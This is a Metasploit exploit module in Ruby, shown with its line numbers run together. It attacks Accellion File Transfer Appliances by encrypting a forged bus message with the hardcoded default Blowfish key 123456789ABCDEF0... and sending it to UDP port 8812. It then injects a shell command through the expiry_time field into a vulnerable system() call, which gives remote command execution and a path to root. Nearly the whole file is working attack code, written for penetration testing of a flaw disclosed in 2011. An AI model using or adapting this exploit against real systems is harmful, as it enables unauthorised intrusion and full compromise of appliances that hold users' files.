Path: blob/master/modules/exploits/linux/misc/accellion_fta_mpipe2.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'openssl'6require 'rexml/element'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::Udp1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Accellion FTA MPIPE2 Command Execution',18'Description' => %q{19This module exploits a chain of vulnerabilities in the Accellion20File Transfer appliance. This appliance exposes a UDP service on21port 8812 that acts as a gateway to the internal communication bus.22This service uses Blowfish encryption for authentication, but the23appliance ships with two easy to guess default authentication keys.24This module abuses the known default encryption keys to inject a25message into the communication bus. In order to execute arbitrary26commands on the remote appliance, a message is injected into the bus27destined for the 'matchrep' service. This service exposes a function28named 'insert_plugin_meta_info' which is vulnerable to an input29validation flaw in a call to system(). This provides access to the30'soggycat' user account, which has sudo privileges to run the31primary admin tool as root. These two flaws are fixed in update32version FTA_8_0_562.33},34'Author' => [ 'hdm' ],35'License' => MSF_LICENSE,36'References' => [37['OSVDB', '71362'],38['OSVDB', '71363'],39['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],40],41'Platform' => ['unix'],42'Arch' => ARCH_CMD,43'Privileged' => true,44'Payload' => {45'Space' => 1024,46'DisableNops' => true,47'Compat' =>48{49'PayloadType' => 'cmd',50'RequiredCmd' => 'generic perl ruby telnet',51}52},53'Targets' => [54[ 'Automatic', {} ]55],56'DefaultTarget' => 0,57'DisclosureDate' => '2011-02-07',58'Notes' => {59'Reliability' => UNKNOWN_RELIABILITY,60'Stability' => UNKNOWN_STABILITY,61'SideEffects' => UNKNOWN_SIDE_EFFECTS62}63)64)6566register_options(67[68Opt::RPORT(8812),69OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])70]71)72end7374def exploit75connect_udp7677appid = datastore['APPID']78encoded_command = REXML::Text.new(payload.encoded).to_s7980wddx = %Q|81<wddxPacket version='1.0'>82<header/>83<data>84<struct>85<var name='50001'><string>insert_plugin_meta_info</string></var>86<var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>87<var name='aid'><string>#{appid}</string></var>88<var name='client_ip'><string>127.0.0.1</string></var>89<var name='package_id'><string>1</string></var>90<var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>91<var name='expiry_time'><string>'; #{encoded_command}; #'</string></var>92</struct>93</data>94</wddxPacket>|9596packet = [97rand(0xffffffff), # Source Location ID988888, # Destination Location ID99rand(0xffff), # Source Application10050001, # Destination Application (matchrep)101Time.now.to_i102].pack("NNnnN") + wddx103104header = [1050, # Flags1060, #1071, # Sequence Number (must be the lowest seen from Source ID)10833 # Execute (pass message to destination)109].pack("CCNC") + packet110111data = [ simple_checksum(header) ].pack("n") + header112enc = blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)113114udp_sock.put("\x01" + enc)115116handler117disconnect_udp118end119120def simple_checksum(data)121sum = 0122data.unpack("C*").map { |c| sum = (sum + c) & 0xffff }123sum124end125126#127# This implements blowfish-cbc with an MD5-expanded 448-bit key128# using RandomIV for the initial value.129#130def blowfish_encrypt(pass, data)131# Forces 8-bit encoding132pass = pass.unpack("C*").pack("C*")133data = data.unpack("C*").pack("C*")134135# Use 448-bit keys with 8-byte IV136key_len = 56137iv_len = 8138139# Expand the key with MD5 (key-generated-key mode)140hash = OpenSSL::Digest::MD5.digest(pass)141while (hash.length < key_len)142hash << OpenSSL::Digest::MD5.digest(hash)143end144145key = hash[0, key_len]146iv = Rex::Text.rand_text(iv_len)147148c = OpenSSL::Cipher.new('bf-cbc')149c.encrypt150c.key_len = key_len151c.key = key152c.iv = iv153154"RandomIV" + iv + c.update(data) + c.final155end156end157158159